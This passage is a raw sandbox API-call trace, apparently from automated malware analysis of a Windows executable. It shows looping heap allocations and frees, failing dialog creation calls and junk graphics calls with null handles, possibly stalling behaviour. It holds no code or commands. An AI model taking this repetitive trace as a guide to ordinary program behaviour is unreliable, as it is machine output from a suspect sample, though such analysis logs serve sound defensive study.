(HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.764] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.764] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.765] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.765] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.765] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.765] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.765] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.765] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.765] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.765] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.765] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.765] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.766] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.766] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.766] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.766] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.766] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.766] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.766] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.766] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.767] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.767] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.767] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.767] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.767] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.767] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.767] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.767] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.767] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193234893, cy=27, fuLoad=0x0) returned 0x0 [0026.767] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.767] GetLastError () returned 0x715 [0026.767] SetLastError (dwErrCode=0x715) [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.767] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.767] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.768] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.768] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.768] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.768] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.768] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.768] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.768] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.768] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.768] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.768] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.769] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.769] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.769] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.769] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.769] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.769] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.769] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.769] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.770] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.770] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.770] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.770] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.770] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.770] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.770] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.770] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.770] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.770] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.770] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.770] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.770] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193215948, cy=27, fuLoad=0x0) returned 0x0 [0026.770] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.771] GetLastError () returned 0x715 [0026.771] SetLastError 